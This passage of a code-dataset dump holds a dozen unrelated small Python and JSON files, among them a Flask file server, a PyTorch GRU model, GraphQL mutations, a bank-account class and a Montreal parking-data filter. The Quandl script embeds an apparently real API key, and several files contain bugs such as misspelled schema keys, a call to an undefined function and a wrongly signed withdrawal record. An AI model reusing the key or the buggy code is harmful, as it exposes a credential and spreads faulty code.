characters.\",\n \"maxLength\": \"Max length of label is 128 characters.\"\n }\n },\n \"text\": {\n \"type\": \"string\",\n \"minLength\": 8,\n \"maxLanegth\": 255,\n \"messages\": {\n \"type\": \"Text needs to be string type\",\n \"minLength\": \"Min length of text is 8 characters.\",\n \"maxLength\": \"Max length of text is 255 characters.\"\n }\n }\n }\n}\n","sub_path":"smsgw/resources/templates/schemas/put.py","file_name":"put.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"81831726","text":"def toWeirdCase(s):\n # 함수를 완성하세요\n\tresult = []\n\tfor val in s.upper().split(' '):\n\t\ttemp = ''\n\t\tfor idx in range(len(val)):\n\t\t\ttemp += val[idx].lower() if(idx%2 != 0) else val[idx]\n\t\tresult.append(temp)\n\t\t\n\treturn ' '.join(result)\n\n# 아래는 테스트로 출력해 보기 위한 코드입니다.\nprint(\"결과 : {}\".format(toWeirdCase(\"try hello world\")));","sub_path":"tryhelloworld/Level 2/toWeirdCase.py","file_name":"toWeirdCase.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"642424225","text":"import os\nfrom torch.autograd import Variable\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nConvMethod = \"in_channel_is_embedding_dim\"\n\nclass GRU(nn.Module):\n\tdef __init__(self, **kwargs):\n\t\tsuper(GRU, self).__init__()\n\t\t\n\t\tself.MODEL = kwargs[\"MODEL\"]\n\t\tself.BATCH_SIZE = kwargs[\"BATCH_SIZE\"]\n\t\tself.MAX_SENT_LEN = kwargs[\"MAX_SENT_LEN\"]\n\t\tself.WORD_DIM = kwargs[\"WORD_DIM\"]\n\t\tself.VOCAB_SIZE = kwargs[\"VOCAB_SIZE\"]\n\t\tself.CLASS_SIZE = kwargs[\"CLASS_SIZE\"]\n\t\tself.FILTERS = kwargs[\"FILTERS\"]\n\t\tself.FILTER_NUM = kwargs[\"FILTER_NUM\"]\n\t\tself.DROPOUT_PROB = kwargs[\"DROPOUT_PROB\"]\n\t\tself.IN_CHANNEL = 1\n\t\tself.USE_CUDA = True\n\t\t\n\t\tself.HIDDEN_DIM = kwargs[\"HIDDEN_DIM\"]\n\t\tself.NUM_LAYERS = kwargs[\"NUM_LAYERS\"]\n\t\tself.bidirectional = kwargs[\"BIDIRECTIONAL\"]\n\t\tself.embedding = nn.Embedding(self.VOCAB_SIZE + 2, self.WORD_DIM)\n\t\tif self.MODEL == \"static\" or self.MODEL == \"non-static\":\n\t\t\tself.WV_MATRIX = kwargs[\"WV_MATRIX\"]\n\t\t\tself.embedding.weight.data.copy_(torch.from_numpy(self.WV_MATRIX))\n\t\tif self.MODEL == \"static\":\n\t\t\tself.embedding.weight.requires_grad = False\n\t\tself.GRU = nn.GRU(self.WORD_DIM, self.HIDDEN_DIM, dropout=self.DROPOUT_PROB, num_layers=self.NUM_LAYERS)\n\t\tself.hidden2label = nn.Linear(self.HIDDEN_DIM, self.CLASS_SIZE)\n\t\tself.hidden = self.init_hidden()\n\n\tdef init_hidden(self):\n\t\tif self.bidirectional == True:\n\t\t\treturn Variable(torch.zeros(2 * self.NUM_LAYERS, self.BATCH_SIZE, self.HIDDEN_DIM)).cuda()\n\t\telse:\n\t\t\treturn Variable(torch.zeros(1 * self.NUM_LAYERS, self.BATCH_SIZE, self.HIDDEN_DIM)).cuda()\n\n\n\tdef forward(self, x):\n\t\tx = self.embedding(x)\n\t\tx = x.transpose(0,1)\n\t\tlstm_out, self.hidden = self.GRU(x,self.hidden)\n\t\ty = self.hidden2label(lstm_out[-1])\n\t\treturn y#F.log_softmax(y)\t\n","sub_path":"models/models/GRU.py","file_name":"GRU.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"291500027","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport json\nimport string\nimport base64\nimport datetime\nimport logging\nimport StringIO\nimport mimetypes\nimport hashlib\n\nimport filestorage\nimport flask\nfrom werkzeug.utils import secure_filename\n\n#### Init Logger\nlogging.getLogger().setLevel(logging.INFO)\n\n#### Create App and configuration\napp = flask.Flask(__name__)\napp.config['verbose'] = 1\napp.config['maxsize'] = 0\napp.config['root_path'] = '/tmp/upload';\n\nFS = filestorage.FileStorage(app.config)\nif not FS.initialize():\n sys.exit(1)\n\ndef ajax_response(resp):\n return json.dumps(resp)\n\n@app.errorhandler(500)\ndef internal_error(e):\n return ajax_response({'status':-1, 'msg':'Internal error'})\n\n@app.route('/app/file/upload', methods=['POST'])\ndef upload():\n def upload_single_file(fobj):\n result = {}\n buffio = StringIO.StringIO()\n fobj.save(buffio)\n buffio.seek(0, os.SEEK_END)\n file_length = buffio.tell()\n buffio.seek(0)\n\n file_name = secure_filename(fobj.filename)\n tmp_path = os.path.join(app.config['root_path'], file_name)\n\n try:\n fp = open(tmp_path, 'w')\n except:\n logging.error(\"failed to open {0}\".format(tmp_path))\n result['error'] = 'open temp file'\n return result\n\n m = hashlib.sha256()\n while True:\n buff = buffio.read(4096)\n if not buff:\n break;\n m.update(buff)\n fp.write(buff)\n\n fp.close()\n buffio.close()\n file_hash = m.hexdigest()\n new_path = os.path.join(app.config['root_path'], file_hash[0],\n file_hash[1], file_hash)\n\n if os.path.isfile(new_path):\n logging.info(\"file {0} already exists\".format(new_path))\n file_id = FS.get_file_id(file_hash)\n result['file_id'] = file_id\n return result\n\n os.makedirs(os.path.dirname(new_path))\n try:\n os.rename(tmp_path, new_path)\n except:\n logging.error(\"move {0} to {1} error\".format(tmp_path, new_path))\n result['error'] = 'move file'\n return result\n\n file_id = FS.add(file_hash, file_name, file_length, new_path)\n logging.info('save file {0} to {1}, file id is {2}'.format(file_name, new_path, file_id))\n\n result['file_id'] = file_id\n result['file_hash'] = file_hash\n\n return result\n\n if 'file' not in flask.request.files:\n return ajax_response({'status':2, 'msg':'No file selected'})\n\n result = {'status':0, 'msg':'success', 'result':[]}\n for upload in flask.request.files.getlist(\"file\"):\n r = upload_single_file(upload)\n result['result'].append(r)\n\n return ajax_response(result)\n\n@app.route('/app/file/download', methods=['GET'])\ndef download():\n file_id = flask.request.args.get('file_id')\n if not file_id:\n logging.error('No file_id query string provided')\n return 'Invalid Parameter'\n\n result = FS.get(file_id)\n if not result:\n msg = 'No record for {0}'.format(file_id)\n logging.error(msg)\n return msg\n\n file_name, file_size, file_path = result\n if not os.path.isfile(file_path):\n msg = 'File id:{0} name:{1} no longer exists'.format(file_id, file_name)\n logging.error(msg)\n return msg\n\n response = flask.make_response(flask.send_file(file_path))\n response.headers['Content-Type'] = mimetypes.guess_type(file_name)[0]\n response.headers['Content-Disposition'] = 'attachment; filename=\"%s\"' % file_name\n\n return response\n\nif __name__ == \"__main__\":\n app.run('0.0.0.0')\n","sub_path":"fileapp.py","file_name":"fileapp.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"248046722","text":"\"\"\"\nModule dédié à la préparation des données\n\"\"\"\nimport numpy\nimport quandl\nfrom pathlib import Path\n\n\nDATE_DEBUT = \"2018-12-31\"\nDATE_FIN = \"2019-12-31\"\nRAW_DATA_PATH = \"../data/raw/\"\nPROCESSED_DATA_PATH = \"../data/processed/\"\n\n###########################################################################\n\"\"\"\nConfiguration de l'api Sharadar. Ne pas changer la clé.\nPour utiliser l'api: \n -Pour obtenir la valeur d'une action dans le temps: \n \n quandl.get(\"CODE_DE_L'ACTION\", [start_date=\"date_de_debut\", end_date=\"date_de_fin\", collapse=\"frequence\", return=\"numpy\"])\n \n \"CODE_DE_L'ACTION\": Le code représentant l'action dans la bases de données\n start_date, end_date: optionnels, filtre la base de données pour ne retrouner que les valeurs entre ces deux dates\n collapse: optionnel, détermine l'intervalle entre les valeurs retournées (défaut = daily)\n return=\"numpy\": optionnel, retourne les valeurs demandées sous la forme d'un array Numpy\n \n \n \nLes Codes des différentes actions sont disponibles sur le site de Quandl\n\"\"\"\nCLE_QUANDL = \"r6aerBdvstyRvzzhYapz\"\nquandl.ApiConfig.api_key = CLE_QUANDL\n###########################################################################\n\n\"\"\"\nSélection des données à récupérer\n\"\"\"\nnoms_dataset = [\"WTI Crude Oil Price\",\n \"Microsoft QuoteMedia End of Day US Prices\"\n ]\ncodes_dataset = [\"EIA/PET_RWTC_D\",\n \"EOD/MSFT\"\n ]\n\nfor i in range(len(codes_dataset)):\n if not Path(RAW_DATA_PATH + noms_dataset[i] + \".csv\").exists():\n data = quandl.get(codes_dataset[i], returns=\"numpy\")\n #numpy.savetxt(Path(RAW_DATA_PATH + noms_dataset[i] + \".csv\"), data, delimiter=',')\nprint(data)","sub_path":"python/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"483327833","text":"from graphene import relay, Field, String, ID, Float\r\n\r\nfrom danesh_boom.viewer_fields import ViewerFields\r\nfrom products.models import Product, Price\r\nfrom products.schemas.queries.price import PriceNode\r\nfrom products.forms import PriceForm\r\nfrom utils.relay_helpers import get_node\r\nfrom utils.Exceptions import ResponseError, FormError\r\n\r\n\r\nclass CreatePriceMutation(ViewerFields, relay.ClientIDMutation):\r\n \"\"\"\r\n create product price mutation\r\n possible error codes:\r\n - invalid_product\r\n - invalid_owner\r\n - form_error\r\n \"\"\"\r\n\r\n class Input:\r\n product_id = String(required=True)\r\n price = Float(requeired=True)\r\n\r\n price = Field(PriceNode)\r\n\r\n @classmethod\r\n def mutate_and_get_payload(cls, input, context, info):\r\n user = context.user\r\n\r\n product_id = input.get('product_id')\r\n product = get_node(product_id, context, info, Product)\r\n if not product:\r\n raise ResponseError(\r\n \"Invalid Product\",\r\n code='invalid_product')\r\n\r\n if not product.owner.validate_user(user):\r\n raise ResponseError(\r\n \"Invalid Owner\",\r\n code='invalid_owner')\r\n\r\n # create price\r\n form = PriceForm(input)\r\n if form.is_valid():\r\n new_price = form.save(commit=False)\r\n new_price.product = product\r\n new_price.save()\r\n else:\r\n raise FormError(form.errors)\r\n\r\n return CreatePriceMutation(price=new_price)\r\n\r\n\r\nclass UpdatePriceMutation(ViewerFields, relay.ClientIDMutation):\r\n \"\"\"\r\n update product price mutation\r\n possible error codes:\r\n - invalid_price\r\n - invalid_owner\r\n - form_error\r\n \"\"\"\r\n\r\n class Input:\r\n id = String(required=True)\r\n price = Float(requeired=True)\r\n\r\n price = Field(PriceNode)\r\n\r\n @classmethod\r\n def mutate_and_get_payload(cls, input, context, info):\r\n user = context.user\r\n\r\n price_id = input.get('id')\r\n price = get_node(price_id, context, info, Price)\r\n if not price:\r\n raise ResponseError(\r\n \"Invalid Price\",\r\n code='invalid_price')\r\n\r\n if not price.product.owner.validate_user(user):\r\n raise ResponseError(\r\n \"Invalid Owner\",\r\n code='invalid_owner')\r\n\r\n # update price\r\n form = PriceForm(input, instance=price)\r\n if form.is_valid():\r\n form.save()\r\n else:\r\n raise FormError(form.errors)\r\n\r\n return UpdatePriceMutation(price=price)\r\n\r\n\r\nclass DeletePriceMutation(ViewerFields, relay.ClientIDMutation):\r\n \"\"\"\r\n delete product price mutation\r\n possible error codes:\r\n - invalid_price\r\n - invalid_owner\r\n \"\"\"\r\n\r\n class Input:\r\n id = String(required=True)\r\n\r\n deleted_id = ID()\r\n\r\n @classmethod\r\n def mutate_and_get_payload(cls, input, context, info):\r\n user = context.user\r\n\r\n price_id = input.get('id', None)\r\n price = get_node(price_id, context, info, Price)\r\n if not price:\r\n raise ResponseError(\r\n \"Invalid Price\",\r\n code='invalid_price')\r\n\r\n if not price.product.owner.validate_user(user):\r\n raise ResponseError(\r\n \"Invalid Owner\",\r\n code='invalid_owner')\r\n\r\n # delete price\r\n price.delete()\r\n\r\n return DeletePriceMutation(deleted_id=price_id)\r\n","sub_path":"products/schemas/mutations/price.py","file_name":"price.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"472457831","text":"import unittest\nfrom extractor import Extractor, Function\n\n\nclass TestExtractor(unittest.TestCase):\n\n expected = {\n \"__init__\": Function(\"__init__\", \"\", ['self', 'x'], ['', 'int'], \"None\"),\n \"add\": Function(\"add\", \"This function adds some number to y\", ['self', 'y'], ['', 'int'], \"int\"),\n \"return_optional\": Function(\"return_optional\", \"\", ['self', 'y'], ['', 'List[List[int, int]]'], \"Optional[int]\"),\n \"add_async\": Function(\"add_async\", \"This is an async function\", ['self', 'y'], ['', 'int'], \"int\"),\n \"noargs\": Function(\"noargs\", \"This function has no input arguments\", [], [], \"int\"),\n \"noreturn\": Function(\"noreturn\", \"This function has no typed return\", ['x'], ['int'], \"\"),\n \"return_none\": Function(\"return_none\", \"This function returns None\", ['x'], ['int'], \"None\"),\n \"untyped_args\": Function(\"untyped_args\", \"This function has an untyped input argument\", ['x', 'y'], ['int', ''], \"int\"),\n \"type_in_comments\": Function(\"type_in_comments\", \"\", ['x', 'y'], ['', ''], \"\"),\n \"with_inner\": Function(\"with_inner\", \"This function has an inner function\", ['self'], [''], \"int\"),\n \"varargs\": Function(\"varargs\", \"This function has args as well as varargs\", ['self', 'msg', 'xs'], ['', 'str', 'int'], \"int\"),\n \"untyped_varargs\": Function(\"untyped_varargs\", \"This function has untype varargs\", ['self', 'msg', 'xs'], ['', 'str', ''], \"int\"),\n \"inner\": Function(\"inner\", \"This is the inner function\", [], [], \"int\"),\n \"add_special\": Function(\"add_special\", \"\", [\"self\", \"name\"], [\"\", \"\"], \"\")\n }\n\n def setUp(self):\n with open(\"./resources/example.py\") as file:\n program = file.read()\n self.fns = Extractor().extract(program)\n\n def test_function_parsing(self):\n for fn in self.expected.keys():\n actual = [x for x in self.fns if x.name == fn][0]\n expected = self.expected[fn]\n self.assertEqual(expected, actual)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_extractor.py","file_name":"test_extractor.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"495903990","text":"import requests\nfrom bs4 import BeautifulSoup\n\nURL = 'https://www.indeed.com/career-advice/finding-a-job/majors-in-demand'\n\npage = requests.get(URL)\n\nsoup = BeautifulSoup(page.content, 'html.parser')\n\nmajors = []\nindividual_major = soup.find_all(['div','h3'],class_='styles-module--contentSection--_QWYk styles-module--heading--1dbu_')\nfor major in individual_major:\n\tfinal_major = major.find('h3')\n\tif final_major != None:\n\t\tstripped_major = final_major.text\n\t\tsplit_number = stripped_major.split('. ',1)\n\t\tmajors.append(split_number[1])\n\ndescriptions = [] \nmajor_descriptions = soup.find_all('p',class_='styles-module--contentSection--_QWYk')\nfor major_description in major_descriptions:\n\tdescription = major_description.text\n\ttrim_description = description.split('include ',1)\n\talmost_final_description = trim_description[0]\n\tif 'Read more' in almost_final_description:\n\t\tremove_read_more = almost_final_description.split('Read more',1)\n\t\tdescriptions.append(remove_read_more[0])\n\telif ('Some careers for nursing majors include' and 'Related') not in almost_final_description:\n\t\tdescriptions.append(almost_final_description)\n\ndescriptions_stripped = [description for description in descriptions if not ('Some of the most in-demand majors include:' in description or 'Related job titles include:' in description or 'What you choose for your college major' in description or 'planning your college career, learning about' in description or 'Some careers for nursing majors include' in description)]\nfinal_descriptions = [i for i in descriptions_stripped if i]\n\ncombined_list = []\nfor major, description in zip(majors, final_descriptions):\n\tcombined_list.append(dict(major = major, description = description))\n\nprint(combined_list)","sub_path":"backend/majors.py","file_name":"majors.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"151078598","text":"class AccountManager():\n\n\tdef __init__(self,account_name,account_no,balance,pin):\n\t\tself.account_name= account_name\n\t\tself.account_no=account_no\n\t\tself.balance=float(balance)\n\t\tself.pin=pin\n\t\tself.transactions=[]\n\t\t\n\n\tdef deposit(self,amount=0.0):\n\t\tif amount>10000:\n\t\t\tprint(\"You can't add amount greater than 10000.Please try again\")\n\t\telif amount<0:\n\t\t\tprint(\"Invalid deposit amount.Try again\")\n\t\telse:\n\t\t\tself.balance+=amount\n\t\t\ttransaction=('+'+str(amount),self.balance)\n\t\t\tself.transactions.append(transaction)\n\n\n\tdef withdraw(self,amount=0.0):\n\t\tif (self.balance-amount)<0:\n\t\t\tprint(\"Insufficient balnace\")\n\t\telif self.balance<=3000:\n\t\t\tprint(\"Low balance.Deposit money\")\n\t\telse:\n\t\t\tself.balance-=amount\n\t\t\ttransaction=('+'+str(amount),self.balance)\n\t\t\tself.transactions.append(transaction)\n\n\n\tdef show_balance(self):\n\t\tprint(f\"The balance is {self.balance}\")\n\n\tdef account_statement(self):\n\t\treturn self.transactions\n\n# -----------------------------------------------------------------------------------------------------\n\n# Child Class 1\n\nclass SavingsAccount(AccountManager):\n\n\tdef __init__(self,account_name,account_no,balance,pin):\n\t\tself.account_name=account_name\n\t\tself.account_no=account_no\n\t\tself.pin=pin\n\t\tself.transactions=[]\n\n\t\tif balance<3000:\n\t\t\tprint(\"Minimum opening balance should be 3000\")\n\t\telse:\n\t\t\tself.balance=balance\n\n# Child Class 2\n\nclass CurrentAccount(AccountManager):\n\tdef __init__(self,account_name,account_no,balance,pin):\n\t\tself.account_name=account_name\n\t\tself.account_no=account_no\n\t\tself.pin=pin\n\t\tself.transactions=[]\n\n\t\tif balance<10000:\n\t\t\tprint(\"Minimum opening balance should be 10000\")\n\t\telse:\n\t\t\tself.balance=balance\n\n\tdef withdraw(self,amount=0.0):\n\t\tif (self.balance-amount)<0:\n\t\t\tprint(\"Insufficient Balance\")\n\n\t\telse:\n\t\t\tself.balance-=amount\n\t\t\ttransaction=('-'+str(amount),self.balance)\n\t\t\tself.transactions.append(transaction)","sub_path":"bank.py","file_name":"bank.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"512296976","text":"import torch\nimport nestedtensor\nimport utils\n\nimport random\nrandom.seed(1010)\n\n# Performance tanks hard for lots of small Tensors as expected\nRAND_INTS = [random.randint(10, 30) for _ in range(2000)]\nRAND_INTS = [random.randint(1000, 3000) for _ in range(20)]\n\nTENSORS0 = [torch.rand(9, 245, 2560, requires_grad=True).cuda() for i in RAND_INTS]\nTENSORS1 = [torch.rand(9, 2560, 245, requires_grad=True).cuda() for i in RAND_INTS]\n\ndef gen_t_matmul():\n tensor0 = torch.stack(TENSORS0)\n tensor1 = torch.stack(TENSORS1)\n\n def t():\n tensor0.requires_grad_()\n tensor1.requires_grad_()\n torch.matmul(tensor0, tensor1).sum().backward()\n tensor0.detach_()\n tensor1.detach_()\n return t\n\n\ndef gen_t_loop_matmul():\n tensors = [torch.rand(i, 2560).cuda() for i in RAND_INTS]\n\n def t_loop():\n for (t0, t1) in zip(TENSORS0, TENSORS1):\n torch.matmul(t0, t1).sum().backward()\n t0.grad = None\n t1.grad = None\n return t_loop\n\n\ndef gen_nt_matmul():\n nt0 = nestedtensor.nested_tensor(TENSORS0, device=torch.device('cuda'), dtype=torch.float, requires_grad=True)\n nt1 = nestedtensor.nested_tensor(TENSORS1, device=torch.device('cuda'), dtype=torch.float, requires_grad=True)\n\n def nt():\n torch.matmul(nt0, nt1).sum().backward()\n return nt\n\n\nif __name__ == \"__main__\":\n # print(utils.benchmark_fn(gen_t_matmul()))\n # print(utils.benchmark_fn(gen_t_loop_matmul()))\n print(utils.benchmark_fn(gen_nt_matmul()))\n","sub_path":"benchmarks/matmul.py","file_name":"matmul.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"375973081","text":"# -*- coding: utf-8 -*-\n# __author__ = 'XingHuan'\n# 9/22/2018\n\n# Copyright 2018 XingHuan\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nfrom sins.module.sqt import *\nfrom sins.ui.widgets.label import QLabelButton\n\n\nclass FileButton(QLabelButton):\n def __init__(self, name):\n colorDict = {\n \"normalcolor\": \"darkgray\",\n \"hovercolor\": \"darkgray\",\n \"clickcolor\": \"darkgray\",\n \"normalbackcolor\": \"transparent\",\n \"hoverbackcolor\": \"rgb(200,200,200)\",\n \"clickbackcolor\": \"darkgray\"\n }\n super(FileButton, self).__init__(name, colorDict=colorDict, scale=24)\n\n\nclass PathWidget(QWidget):\n def __init__(self, label=None, window_label='', mode='file', warning=False, *args, **kwargs):\n super(PathWidget, self).__init__(*args, **kwargs)\n\n self.use_warning = warning\n self.label = label\n self.window_label = window_label\n self.mode = mode\n\n self.init_ui()\n\n def init_ui(self):\n\n self.masterLayout = QHBoxLayout()\n self.masterLayout.setContentsMargins(0, 0, 0, 0)\n self.setLayout(self.masterLayout)\n\n self.fileEdit = QLineEdit()\n self.fileButton = FileButton(\"icon/folder1\")\n if self.label is not None:\n self.fileLabel = QLabel(self.label)\n self.masterLayout.addWidget(self.fileLabel)\n self.masterLayout.addWidget(self.fileEdit)\n self.masterLayout.addWidget(self.fileButton)\n\n self.fileButton.buttonClicked.connect(self.choose_file_path)\n self.fileEdit.textChanged.connect(self.path_changed)\n\n def path(self):\n return to_unicode(self.fileEdit.text())\n\n def choose_file_path(self):\n if self.mode == 'dir':\n path = QFileDialog.getExistingDirectory(self, self.window_label, \".\")\n elif self.mode == 'file':\n path = QFileDialog.getOpenFileName(self, self.window_label, \".\")\n self.fileEdit.setText(path)\n\n def path_changed(self):\n self.fileEdit.setProperty(\"valid\", os.path.exists(to_unicode(self.fileEdit.text())))\n self.set_style()\n\n def set_style(self):\n if self.use_warning:\n self.setStyleSheet(\"\"\"\n QLineEdit[valid=true]{\n color:black;\n background:transparent;\n }\n QLineEdit[valid=false]{\n color:white;\n background:rgb(200, 0, 0, 170);\n }\n \"\"\")\n","sub_path":"sins/ui/widgets/edit/path_widget.py","file_name":"path_widget.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"381234246","text":"#!/usr/bin/env python3\n\nfrom boto3 import resource\nfrom os import getenv\nfrom time import sleep\n\ndef get_queue_details():\n sqs = resource('sqs')\n # need to change env var based on how copilot populates the name\n return sqs.get_queue_by_name(QueueName=getenv('QUEUE_NAME'))\n\ndef ship_votes(batch_votes):\n # requests.post \n # http://${sd_endpoint}/votes/batch\n # data: batch_votes\n return\n\ndef receive():\n queue = get_queue_details()\n while True:\n # Reset the batch data dict on every run\n _batch_data = []\n # do we enable long polling? https://boto3.amazonaws.com/v1/documentation/api/latest/guide/sqs-example-long-polling.html#id5\n for message in queue.receive_messages():\n print(\"MESSAGE CONSUMED: {}\".format(message.body))\n # Store message in list as dict\n # example: _batch_data.append({\"voter_id\": message.body.get(voter_id), \"vote\": message.body.get(vote)})\n print(message.delete())\n sleep(1)\n ship_votes(_batch_data)\n \nif __name__ == '__main__':\n recieve()","sub_path":"processor.py","file_name":"processor.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"477681048","text":"import json \nfrom turfpy.measurement import boolean_point_in_polygon\nfrom geojson import Point, Polygon, Feature\n\narrondissements = [\n\"Outremont\",\n\"LaSalle\",\n\"Mont-Royal\",\n\"Ville-Marie\",\n\"Le Plateau-Mont-Royal\",\n\"Hampstead\",\n\"Le Sud-Ouest\",\n\"Rivière-des-Prairies-Pointe-aux-Trembles\",\n\"Lachine\",\n\"Dorval\",\n\"Montréal-Nord\",\n\"L'Île-Bizard-Sainte-Geneviève\",\n\"Kirkland\",\n\"Dollard-des-Ormeaux\",\n\"Senneville\",\n\"Ahuntsic-Cartierville\",\n\"Côte-Saint-Luc\",\n\"Saint-Léonard\",\n\"Montréal-Ouest\",\n\"Pointe-Claire\",\n\"L'Île-Dorval\",\n\"Mercier-Hochelaga-Maisonneuve\",\n\"Côte-des-Neiges-Notre-Dame-de-Grâce\",\n\"Rosemont-La Petite-Patrie\",\n\"Saint-Laurent\",\n\"Beaconsfield\",\n\"Villeray-Saint-Michel-Parc-Extension\",\n\"Westmount\",\n\"Montréal-Est\",\n\"Anjou\",\n\"Pierrefonds-Roxboro\",\n\"Sainte-Anne-de-Bellevue\",\n\"Verdun\",\n\"Baie-d'Urfé\"\n]\n\n'''\nOutremont -- in: 628 , out: 18115 , total: 18743\nLaSalle -- in: 0 , out: 18743 , total: 18743\nMont-Royal -- in: 0 , out: 18743 , total: 18743\nVille-Marie -- in: 7728 , out: 11015 , total: 18743\nLe Plateau-Mont-Royal -- in: 3801 , out: 14942 , total: 18743\nHampstead -- in: 0 , out: 18743 , total: 18743\nLe Sud-Ouest -- in: 698 , out: 18045 , total: 18743\nRivière-des-Prairies-Pointe-aux-Trembles -- in: 0 , out: 18743 , total: 18743\nLachine -- in: 220 , out: 18523 , total: 18743\nDorval -- in: 0 , out: 18743 , total: 18743\nMontréal-Nord -- in: 0 , out: 18743 , total: 18743\nL'Île-Bizard-Sainte-Geneviève -- in: 0 , out: 18743 , total: 18743\nKirkland -- in: 0 , out: 18743 , total: 18743\nDollard-des-Ormeaux -- in: 0 , out: 18743 , total: 18743\nSenneville -- in: 0 , out: 18743 , total: 18743\nAhuntsic-Cartierville -- in: 338 , out: 18405 , total: 18743\nCôte-Saint-Luc -- in: 0 , out: 18743 , total: 18743\nSaint-Léonard -- in: 0 , out: 18743 , total: 18743\nMontréal-Ouest -- in: 0 , out: 18743 , total: 18743\nPointe-Claire -- in: 0 , out: 18743 , total: 18743\nL'Île-Dorval -- in: 0 , out: 18743 , total: 18743\nMercier-Hochelaga-Maisonneuve -- in: 518 , out: 18225 , total: 18743\nCôte-des-Neiges-Notre-Dame-de-Grâce -- in: 1435 , out: 17308 , total: 18743\nRosemont-La Petite-Patrie -- in: 1512 , out: 17231 , total: 18743\nSaint-Laurent -- in: 191 , out: 18552 , total: 18743\nBeaconsfield -- in: 0 , out: 18743 , total: 18743\nVilleray-Saint-Michel-Parc-Extension -- in: 790 , out: 17953 , total: 18743\nWestmount -- in: 0 , out: 18743 , total: 18743\nMontréal-Est -- in: 0 , out: 18743 , total: 18743\nAnjou -- in: 0 , out: 18743 , total: 18743\nPierrefonds-Roxboro -- in: 0 , out: 18743 , total: 18743\nSainte-Anne-de-Bellevue -- in: 0 , out: 18743 , total: 18743\nVerdun -- in: 884 , out: 17859 , total: 18743\nBaie-d'Urfé -- in: 0 , out: 18743 , total: 18743\nfiltrage terminé\n'''\n\n'''\n Pour filtrer tous les arrondissements en même temps\n'''\ndef filter_mtl(arronds=[\"Rosemont-La Petite-Patrie\"]):\n l_out_file = []\n for i in arronds:\n # if arrond == \"all\":\n # arrondissement_montreal = i\n # else:\n # arrondissement_montreal = \"Rosemont-La Petite-Patrie\"\n arrondissement_montreal = i\n polygone = []\n\n \n # PLAZA\n if arrondissement_montreal == \"plaza\":\n file_to_open = \"plaza_rosemont.geojson\"\n with open(file_to_open) as f:\n data = json.load(f)\n for i in (data[\"features\"]):\n if i[\"properties\"][\"Name\"] == \"Oasis bellechasse+ plaza\":\n polygone = i[\"geometry\"][\"coordinates\"]\n break\n else:\n file_to_open = \"limadmin.geojson.json\"\n with open(file_to_open) as f:\n data = json.load(f)\n for i in (data[\"features\"]):\n if i[\"properties\"][\"NOM\"] == arrondissement_montreal:\n polygone = i[\"geometry\"][\"coordinates\"][0]\n break\n\n point_a_tester = []\n data = \"\"\n m=0\n # file_to_open = \"signalisation_stationnement.geojson\"\n file_to_open = \"data/places_with_reglementations.geojson\"\n with open(file_to_open) as f:\n data = json.load(f)\n n=0\n p =0\n l = []\n for i in (data[\"features\"]):\n m+=1\n point_a_tester = i[\"geometry\"][\"coordinates\"]\n # print(i[\"properties\"][\"nPositionCentreLongitude\"])\n # print(point_a_tester)\n point_format_turfpy = Feature(geometry=Point(point_a_tester))\n polygone_format_turfpy = Polygon(polygone)\n if(boolean_point_in_polygon(point_format_turfpy, polygone_format_turfpy)) == True:\n l.append(i)\n p += 1\n else:\n n += 1\n data[\"features\"] = l\n # print(polygone)\n # print(l)\n print(arrondissement_montreal, \"-- in: \", p, \", out: \", n, \", total: \", m)\n if arrondissement_montreal == \"plaza\":\n outfile = \"mtl-parco-\" + \"places-oasis-bellechasse-plaza\".replace(\" \",\"-\").replace(\"+\",\"-\") + \".filtred.geojson\"\n else:\n outfile = \"mtl-parco-\" + arrondissement_montreal.replace(\" \",\"-\").replace(\"+\",\"-\") + \".filtred.geojson\"\n \n with open(outfile, mode=\"w\") as f:\n json.dump(data, f)\n print(\"filtrage terminé\")\n\n l_out_file.append(outfile)\n \n # if arrond != \"all\"\n # break \n return l_out_file\n ","sub_path":"filter_mtl.py","file_name":"filter_mtl.py","file_ext":"py","file_size_in_byte":5564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"47812489","text":"import numpy as np\nimport csv\nimport os\nimport json\nimport keras\nfrom keras.layers import Input, Conv2D, LocallyConnected2D, Lambda, Add, Maximum, Minimum, 